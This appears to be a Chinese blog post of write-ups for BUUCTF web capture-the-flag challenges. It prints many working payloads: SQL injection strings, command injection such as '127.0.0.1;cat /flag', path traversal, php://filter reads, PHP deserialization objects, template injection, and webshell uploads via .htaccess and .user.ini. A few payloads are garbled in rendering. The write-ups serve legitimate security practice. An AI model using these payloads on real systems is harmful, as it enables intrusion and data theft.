题解记录-BUUCTF|Web (持续更新中)

BUUCTF-Web(持续更新)

  • [极客大挑战 2019]EasySQL
  • [HCTF 2018]WarmUp
  • [极客大挑战 2019]Havefun
  • [ACTF2020 新生赛]Include
  • [ACTF2020 新生赛]Exec
  • [强网杯 2019]随便注
  • [SUCTF 2019]EasySQL
  • [GXYCTF2019]Ping Ping Ping
  • [极客大挑战 2019]Secret File
  • [极客大挑战 2019]LoveSQL
  • [极客大挑战 2019]Knife
  • [极客大挑战 2019]Http
  • [极客大挑战 2019]Upload
  • [ACTF2020 新生赛]Upload
  • [极客大挑战 2019]BabySQL
  • [极客大挑战 2019]PHP
  • [RoarCTF 2019]Easy Calc
  • [ACTF2020 新生赛]BackupFile
  • [极客大挑战 2019]BuyFlag
  • [护网杯 2018]easy_tornado
  • [HCTF 2018]admin
  • [BJDCTF2020]Easy MD5
  • [ZJCTF 2019]NiZhuanSiWei
  • [MRCTF2020]你传你呢
  • [极客大挑战 2019]HardSQL
  • [SUCTF 2019]CheckIn
  • [MRCTF2020]Ez_bypass
  • [网鼎杯 2020 青龙组]AreUSerialz
  • [GXYCTF2019]BabySQli
  • [GXYCTF2019]BabyUpload
  • [GYCTF2020]Blacklist
  • [CISCN2019 华北赛区 Day2 Web1]Hack World

[极客大挑战 2019]EasySQL

题解记录-BUUCTF|Web (持续更新中)_第1张图片
输入用户名admin,密码用一个万能密码如1’ or '1,即可获得flag

题解记录-BUUCTF|Web (持续更新中)_第2张图片

[HCTF 2018]WarmUp

题解记录-BUUCTF|Web (持续更新中)_第3张图片
查看页面源代码,发现source.php文件,打开

题解记录-BUUCTF|Web (持续更新中)_第4张图片
发现hint.php

题解记录-BUUCTF|Web (持续更新中)_第5张图片
打开试试,发现flag在ffffllllaaaagggg里

在这里插入图片描述
返回source.php
source

题解记录-BUUCTF|Web (持续更新中)_第6张图片
根据代码要求,输入source.php?file=hint.php?ffffllllaaaagggg

题解记录-BUUCTF|Web (持续更新中)_第7张图片发现此时图片不见了,说明输入有效,但并没有flag
所以flag可能不在当前目录
尝试加入…/遍历目录
直到输入source.php?file=hint.php?../…/…/…/…/ffffllllaaaagggg时flag出现

题解记录-BUUCTF|Web (持续更新中)_第8张图片

[极客大挑战 2019]Havefun

题解记录-BUUCTF|Web (持续更新中)_第9张图片
查看源代码,发现

题解记录-BUUCTF|Web (持续更新中)_第10张图片
所以我们使cat=dog,得到flag

题解记录-BUUCTF|Web (持续更新中)_第11张图片

[ACTF2020 新生赛]Include

题解记录-BUUCTF|Web (持续更新中)_第12张图片点tips进去看看

题解记录-BUUCTF|Web (持续更新中)_第13张图片查看源代码发现没有东西,想办法查看flag.php文件
利用php://filter,输入/?file=php://filter/read=convert.base64-encode/resource=flag.php
得到flag.php经过base64编码后的内容

在这里插入图片描述解码,得flag
题解记录-BUUCTF|Web (持续更新中)_第14张图片

[ACTF2020 新生赛]Exec

题解记录-BUUCTF|Web (持续更新中)_第15张图片ping一下127.0.0.1看看

题解记录-BUUCTF|Web (持续更新中)_第16张图片
输入127.0.0.1;ls / ,利用;来输入cmd命令
题解记录-BUUCTF|Web (持续更新中)_第17张图片发现flag文件,输入127.0.0.1;cat /flag 进行查看,得到flag

题解记录-BUUCTF|Web (持续更新中)_第18张图片

[强网杯 2019]随便注

题解记录-BUUCTF|Web (持续更新中)_第19张图片
输入1’回显错误,输入1’ or ‘1’=‘1回显正常,判断是字符型注入
猜测字段数,输入到1’ order by 3#时报错,则字段数为2

题解记录-BUUCTF|Web (持续更新中)_第20张图片
查询数据库名,输入1’ union select 1,2#,发现回显大量过滤

题解记录-BUUCTF|Web (持续更新中)_第21张图片
尝试堆叠注入,输入1’;show databases;#

题解记录-BUUCTF|Web (持续更新中)_第22张图片
成功回显,说明存在堆叠注入
查看表,输入1’;show tables;#
题解记录-BUUCTF|Web (持续更新中)_第23张图片
查看words,输入输入1’; show columns from words; #
注:使用的是(Esc下的键),用于数据库、表、索引、列和别名用的引用

题解记录-BUUCTF|Web (持续更新中)_第24张图片
发现字段id与data

查看1919810931114514,输入1’; show columns from 1919810931114514; #

题解记录-BUUCTF|Web (持续更新中)_第25张图片
发现flag,因为查看flag的回显会出现在words里,为了回显在flag所属的表,而发现alter、rename又没有被过滤,则试着进行表和字段的重命名
输入1’;rename table words to word;rename table 1919810931114514 to words;alter table words change flag id varchar(100);show columns from words;#

题解记录-BUUCTF|Web (持续更新中)_第26张图片再输入1’ or '1=1,就能得到flag
题解记录-BUUCTF|Web (持续更新中)_第27张图片

[SUCTF 2019]EasySQL

题解记录-BUUCTF|Web (持续更新中)_第28张图片发现是整数型后,无论输什么都是nonono,尝试堆叠注入
输入1;show databases;#
在这里插入图片描述输入1;show tables;#
题解记录-BUUCTF|Web (持续更新中)_第29张图片输入1;show columns from Flag;#
结果回显nonono,可能存在过滤
猜测查询语句为:select “.$post[‘query’].”||flag from Flag
则输入*,1 即select *,1||flag from Flag;
这样就得到了Flag的所有字段
题解记录-BUUCTF|Web (持续更新中)_第30张图片

[GXYCTF2019]Ping Ping Ping

输入/?ip=127.0.0.1成功回显
在这里插入图片描述使用;作为分割符,输入/?ip=127.0.0.1;ls
题解记录-BUUCTF|Web (持续更新中)_第31张图片看到flag.php,输入/?ip=127.0.0.1;cat flag.php,
在这里插入图片描述猜测可能是空格被过滤了,这里使用<来绕过,输入/?ip=127.0.0.1;cat 在这里插入图片描述发现符号被过滤了,换个试试
在这里插入图片描述显示flag被过滤,使用’'来绕过
在这里插入图片描述好,又被过滤了,那我们看一下index.php
题解记录-BUUCTF|Web (持续更新中)_第32张图片发现好多字符被过滤和一个变量a
构造payload:/?ip=127.0.0.1;a=g;cat$IFS 9 f l a 9fla 9flaa.php
题解记录-BUUCTF|Web (持续更新中)_第33张图片查看源码,得到flag
题解记录-BUUCTF|Web (持续更新中)_第34张图片

[极客大挑战 2019]Secret File

题解记录-BUUCTF|Web (持续更新中)_第35张图片查看源码,发现./Archive_room.php
题解记录-BUUCTF|Web (持续更新中)_第36张图片点击查看,发现./action.php题解记录-BUUCTF|Web (持续更新中)_第37张图片点击查看,发现“查阅结束”
题解记录-BUUCTF|Web (持续更新中)_第38张图片在secret递交时抓包发现提示secr3t.php
题解记录-BUUCTF|Web (持续更新中)_第39张图片查看secr3t.php,发现提示 flag放在了flag.php里
题解记录-BUUCTF|Web (持续更新中)_第40张图片查看flag.php,源码也没有信息
题解记录-BUUCTF|Web (持续更新中)_第41张图片利用php://filter,构造/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
题解记录-BUUCTF|Web (持续更新中)_第42张图片将这段乱码进行base64解码,得到flag
题解记录-BUUCTF|Web (持续更新中)_第43张图片

[极客大挑战 2019]LoveSQL

题解记录-BUUCTF|Web (持续更新中)_第44张图片

使用万能密码,回显有误

题解记录-BUUCTF|Web (持续更新中)_第45张图片
这里说使用sqlmap是没有灵魂的
先判断字段数,发现字段数为3

题解记录-BUUCTF|Web (持续更新中)_第46张图片
使用联合查询,得到回显位置

题解记录-BUUCTF|Web (持续更新中)_第47张图片
题解记录-BUUCTF|Web (持续更新中)_第48张图片
查询数据库名
1’ union select 1,2,database()#

题解记录-BUUCTF|Web (持续更新中)_第49张图片
查询数据库表名
1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘geek’#

题解记录-BUUCTF|Web (持续更新中)_第50张图片

查询l0ve1ysq1表的字段名
1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘l0ve1ysq1’#

题解记录-BUUCTF|Web (持续更新中)_第51张图片
查询字段
1’ union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
发现flag

题解记录-BUUCTF|Web (持续更新中)_第52张图片

[极客大挑战 2019]Knife

提示使用菜刀,不过这里我选择使用蚁剑

题解记录-BUUCTF|Web (持续更新中)_第53张图片
打开蚁剑连接

题解记录-BUUCTF|Web (持续更新中)_第54张图片
找到flag

题解记录-BUUCTF|Web (持续更新中)_第55张图片题解记录-BUUCTF|Web (持续更新中)_第56张图片

[极客大挑战 2019]Http

题解记录-BUUCTF|Web (持续更新中)_第57张图片
查看源代码,发现Secret.php

题解记录-BUUCTF|Web (持续更新中)_第58张图片访问页面
在这里插入图片描述

说明我们应该来自https://Sycsecret.buuoj.cn,抓包,修改Referer

题解记录-BUUCTF|Web (持续更新中)_第59张图片
题解记录-BUUCTF|Web (持续更新中)_第60张图片
要求使用Syclover浏览器,将User-Agent改成Syclover

题解记录-BUUCTF|Web (持续更新中)_第61张图片
要求只能进行本地访问,添加X-Forwarded-For:127.0.0.1
成功得到flag

题解记录-BUUCTF|Web (持续更新中)_第62张图片

[极客大挑战 2019]Upload

题解记录-BUUCTF|Web (持续更新中)_第63张图片
上传一句话木马试试

题解记录-BUUCTF|Web (持续更新中)_第64张图片
这里用bq抓包,修改文件格式image/jpeg和文件后缀phtml并在代码前加一个图片文件头GIF 89A进行欺骗
发现

题解记录-BUUCTF|Web (持续更新中)_第65张图片
修改一下木马文件

题解记录-BUUCTF|Web (持续更新中)_第66张图片
重新上传

题解记录-BUUCTF|Web (持续更新中)_第67张图片
用蚁剑连接/upload/1s.phtml,查看flag

题解记录-BUUCTF|Web (持续更新中)_第68张图片

[ACTF2020 新生赛]Upload

上传一个木马.php文件试试

题解记录-BUUCTF|Web (持续更新中)_第69张图片

修改文件后缀为.png,上传
抓包,在bp里修改为.phtml

题解记录-BUUCTF|Web (持续更新中)_第70张图片
上传成功

在这里插入图片描述
用蚁剑连接查看flag

题解记录-BUUCTF|Web (持续更新中)_第71张图片

[极客大挑战 2019]BabySQL

题解记录-BUUCTF|Web (持续更新中)_第72张图片
简单测试admin和1’后发现有注入漏洞

题解记录-BUUCTF|Web (持续更新中)_第73张图片
输入1’ order by 1#,发现存在or和by过滤

题解记录-BUUCTF|Web (持续更新中)_第74张图片
使用双写绕过1’ oorrder bbyy 1#,得到字段数为3

题解记录-BUUCTF|Web (持续更新中)_第75张图片
接下来爆字段位置,输入1’ union select 1,2,3#,发现过滤

题解记录-BUUCTF|Web (持续更新中)_第76张图片
双写绕过:1’ ununionion selselectect 1,2,3#

题解记录-BUUCTF|Web (持续更新中)_第77张图片

查数据库名:1’ ununionion selselectect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata #

题解记录-BUUCTF|Web (持续更新中)_第78张图片
查表名:1’ ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=‘ctf’#

题解记录-BUUCTF|Web (持续更新中)_第79张图片

查字段名:1’ ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name=‘Flag’#

题解记录-BUUCTF|Web (持续更新中)_第80张图片

查字段值:1’ ununionion selselectect 1,2,flag frfromom ctf.Flag#

题解记录-BUUCTF|Web (持续更新中)_第81张图片得到flag

[极客大挑战 2019]PHP

题解记录-BUUCTF|Web (持续更新中)_第82张图片
使用dirsearch扫描网站目录,发现www.zip,打开

题解记录-BUUCTF|Web (持续更新中)_第83张图片
查看index.php,发现class.php和一个php反序列化函数unserialize()

题解记录-BUUCTF|Web (持续更新中)_第84张图片
查看class.php,发现flag

题解记录-BUUCTF|Web (持续更新中)_第85张图片构造payload:/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;},获得flag

题解记录-BUUCTF|Web (持续更新中)_第86张图片

[RoarCTF 2019]Easy Calc

题解记录-BUUCTF|Web (持续更新中)_第87张图片查看源码,发现calc.php

题解记录-BUUCTF|Web (持续更新中)_第88张图片查看calc.php,发现字符过滤

题解记录-BUUCTF|Web (持续更新中)_第89张图片
chr() 函数:从指定的 ASCII 值返回字符。 ASCII 值可被指定为十进制值、八进制值或十六进制值。八进制值被定义为带前置0,而十六进制值被定义为带前置 0x。

file_get_contents() 函数:把整个文件读入一个字符串中。该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。

PHP的字符串解析特性:PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)【当waf不让你过的时候,php却可以让你过】。假如waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

scandir() 函数:返回指定目录中的文件和目录的数组。

构造payload:/calc.php? num=1;var_dump(scandir(chr(47)))
发现flag
题解记录-BUUCTF|Web (持续更新中)_第90张图片
构造payload:/calc.php? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
得到flag
在这里插入图片描述

[ACTF2020 新生赛]BackupFile

在这里插入图片描述用dirsearch扫描目录
发现index.php.bak
在这里插入图片描述
题解记录-BUUCTF|Web (持续更新中)_第91张图片key必须是整数,且取整数之后值为123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3
php == 在进行比较的时候,会先将字符串类型转化成相同类型,再比较。如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行(从开头转数字)
即key=123
得到flag
在这里插入图片描述

[极客大挑战 2019]BuyFlag

题解记录-BUUCTF|Web (持续更新中)_第92张图片查看源码

题解记录-BUUCTF|Web (持续更新中)_第93张图片password不能是数字且要==404,所以password可以为404+任意字符,
用bp抓包,修改包使其满足:是cuit的学生,以post方式传参,正确password(404abc),100000000 Money(1e8)
得到flag

题解记录-BUUCTF|Web (持续更新中)_第94张图片

[护网杯 2018]easy_tornado

题解记录-BUUCTF|Web (持续更新中)_第95张图片查看

题解记录-BUUCTF|Web (持续更新中)_第96张图片在这里插入图片描述题解记录-BUUCTF|Web (持续更新中)_第97张图片将filehash去掉访问,发现
在这里插入图片描述
根据render,使用模板注入,构造payload:/error?msg={{handler.settings}}
记忆:handler.settings存放cookie_secret

在这里插入图片描述发现cookie_secret:e6b7327c-a131-4e93-92d2-a673ced3a087,
构造filehash:md5(cookie_secret+md5(filename)),而已知filename为/fllllllllllllag
进行MD5加密得:6b31d8e5baf98dd20b879a95d24428f5
构造payload:/file?filename=/fllllllllllllag&filehash=6b31d8e5baf98dd20b879a95d24428f5

在这里插入图片描述

[HCTF 2018]admin

使用admin,123成功登进得到flag
题解记录-BUUCTF|Web (持续更新中)_第98张图片------------------------------------------------------------------------------------------------------------------------
题解记录-BUUCTF|Web (持续更新中)_第99张图片
进入change password发现一个网址

在这里插入图片描述

在该项目路由文件中发现strlower()函数,其中调用了nodeprep.prepare函数,nodeprep.prepare函数会将unicode字符ᴬ转换成A,A再调用一次nodeprep.prepare函数会把A转换成a,而strlower()自定义函数被调用了三次,分别是register、login、change,即注册、登陆、修改密码时都会被调用。
那么就可以使用字符ᴬdmin进行注册,然后修改一次密码,再重新登陆就能得到flag

[BJDCTF2020]Easy MD5

题解记录-BUUCTF|Web (持续更新中)_第100张图片查看源代码,没有东西,输个1试试,没有回显
抓个包看看
发现提示Hint: select * from ‘admin’ where password=md5($pass,true)

在这里插入图片描述

即需要password=md5($pass,true)条件为真时,才会执行select * form admin
当参数为true是显示的是原始 16 字符二进制格式
构造or来绕过password,md5(ffifdyop,true)='or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c
输入ffifdyop后,出现
题解记录-BUUCTF|Web (持续更新中)_第101张图片查看源码

题解记录-BUUCTF|Web (持续更新中)_第102张图片

这里是弱类型,只要使得加密后的值开头都为0e则会视为相等
构造payload:/levels91.php?a=s878926199a&b=s155964671a

题解记录-BUUCTF|Web (持续更新中)_第103张图片这里是===,用php数组绕过,由于哈希函数无法处理php数组,在遇到数组时返回false,我们就可以利用false==false成立使条件成立
post:param1[]=1¶m2[]=2,得到flag

题解记录-BUUCTF|Web (持续更新中)_第104张图片

[ZJCTF 2019]NiZhuanSiWei

题解记录-BUUCTF|Web (持续更新中)_第105张图片
使用php伪协议,构造data://text/plain,welcome to the zjctf,为了绕过某些过滤,这里用到base64编码,构造payload:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=,还有一个参数file,使用php伪协议,构造file=php://filter/read=convert.base64-encode/resource=useless.php
得到
题解记录-BUUCTF|Web (持续更新中)_第106张图片base64解码得:
题解记录-BUUCTF|Web (持续更新中)_第107张图片
又经过password反序列化,构造payload:/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}

题解记录-BUUCTF|Web (持续更新中)_第108张图片
查看源码,得到flag

题解记录-BUUCTF|Web (持续更新中)_第109张图片

[MRCTF2020]你传你呢

题解记录-BUUCTF|Web (持续更新中)_第110张图片上传木马文件失败,考虑使用.htaccess文件,来改变文件扩展名,先上传.htaccess,然后上传木马文件
抓包,修改Content-Type:image/png
在这里插入图片描述上传成功,接着上传.png木马文件,同样修改文件类型
上传成功

题解记录-BUUCTF|Web (持续更新中)_第111张图片用蚁剑连接

题解记录-BUUCTF|Web (持续更新中)_第112张图片找到flag

[极客大挑战 2019]HardSQL

题解记录-BUUCTF|Web (持续更新中)_第113张图片发现很多字符都被过滤,但是会有报错,这里决定使用报错注入
题解记录-BUUCTF|Web (持续更新中)_第114张图片
利用UPDATEXML (XML_document, XPath_string, new_value)函数
爆库名:?username=admin’or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1
得到geek
题解记录-BUUCTF|Web (持续更新中)_第115张图片
爆表名:?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(%27geek%27)),0x7e),1))%23&password=1
得到H4rDsq1

题解记录-BUUCTF|Web (持续更新中)_第116张图片
爆字段:?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(%27H4rDsq1%27)),0x7e),1))%23&password=1
得到id,username,password

题解记录-BUUCTF|Web (持续更新中)_第117张图片爆字段值:?username=admin%27or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=1 与?username=admin’or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=1得到的值进行拼接,得到flag

题解记录-BUUCTF|Web (持续更新中)_第118张图片
题解记录-BUUCTF|Web (持续更新中)_第119张图片

[SUCTF 2019]CheckIn

创建.user.ini文件构成PHP后门,使用GIF绕过文件类型检测

题解记录-BUUCTF|Web (持续更新中)_第120张图片
先上传.user.ini,意思是当前目录中的php文件会自动去包含1s.png中的文件内容,而文件包含有一个特点就是能无条件解析php代码。所以我们再上传一张图片马1s.png,就能利用已经存在的php文件去包含图片马进而解析
题解记录-BUUCTF|Web (持续更新中)_第121张图片用蚁剑连接,得到flag

题解记录-BUUCTF|Web (持续更新中)_第122张图片

[MRCTF2020]Ez_bypass

在这里插入图片描述查看源代码
题解记录-BUUCTF|Web (持续更新中)_第123张图片
观察代码(强弱类型)
1.这里的id与gg需要是数组,以此来满足要求
2.post传参,passwd不能为数字但要==1234567,即可以是1234567a
题解记录-BUUCTF|Web (持续更新中)_第124张图片得到flag

[网鼎杯 2020 青龙组]AreUSerialz

题目源码:

process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: 
"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }

主要就是要让op弱等于‘2’且强不等于‘2’,从而进入到process(),利用第二步读flag.php
利用数字2绕过
写payload:


O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}

传过去,得flag:
在这里插入图片描述

[GXYCTF2019]BabySQli

题解记录-BUUCTF|Web (持续更新中)_第125张图片
开始测试
题解记录-BUUCTF|Web (持续更新中)_第126张图片
题解记录-BUUCTF|Web (持续更新中)_第127张图片
wrong user!和wrong pass! 且发现提示,使用base32+base64解码得:select * from user where username = ‘$name’
则可知注入点应为admin,开始注入:
admin’ order by 3–+
题解记录-BUUCTF|Web (持续更新中)_第128张图片
猜测存在过滤,测试发现可能是or被过滤,直接union select:
admin’ union select 1,2,3–+
题解记录-BUUCTF|Web (持续更新中)_第129张图片
admin’ union select 1,2,3,4–+
题解记录-BUUCTF|Web (持续更新中)_第130张图片
则字段数为3
经过测试发现()也被过滤,使用bp在name处扫了一下sql字典,发现如下过滤:
题解记录-BUUCTF|Web (持续更新中)_第131张图片
查看源码:
题解记录-BUUCTF|Web (持续更新中)_第132张图片
直接利用数组绕过md5
题解记录-BUUCTF|Web (持续更新中)_第133张图片

[GXYCTF2019]BabyUpload

上传该木马的jpg文件成功
题解记录-BUUCTF|Web (持续更新中)_第134张图片
题解记录-BUUCTF|Web (持续更新中)_第135张图片
还需再上传一个.htaccess文件以解析
在这里插入图片描述
抓包修改文件格式,成功上传
题解记录-BUUCTF|Web (持续更新中)_第136张图片
连蚁剑,读flag
题解记录-BUUCTF|Web (持续更新中)_第137张图片
题解记录-BUUCTF|Web (持续更新中)_第138张图片

[GYCTF2020]Blacklist

题解记录-BUUCTF|Web (持续更新中)_第139张图片
发现过滤
在这里插入图片描述
于是采用堆叠注入
1’;show databases;–+
题解记录-BUUCTF|Web (持续更新中)_第140张图片
1’;show tables;–+
题解记录-BUUCTF|Web (持续更新中)_第141张图片
1’;desc FlagHere;–+
题解记录-BUUCTF|Web (持续更新中)_第142张图片
使用Handler绕过select过滤
handler users open as xx; #指定表载入并重命名
handler xx read first; #读取指定表的首行数据
handler xx read next; #读取指定表的下一行数据
handler xx close; #关闭句柄
payload:
1’;handler FlagHere open;handler FlagHere read first;handler FlagHere close;–+
题解记录-BUUCTF|Web (持续更新中)_第143张图片

[CISCN2019 华北赛区 Day2 Web1]Hack World

题解记录-BUUCTF|Web (持续更新中)_第144张图片
测试发现是盲注且存在过滤
找了位师傅的wp搞了个脚本

你可能感兴趣的:(偶尔WP但时不时断更篇,web安全,sql)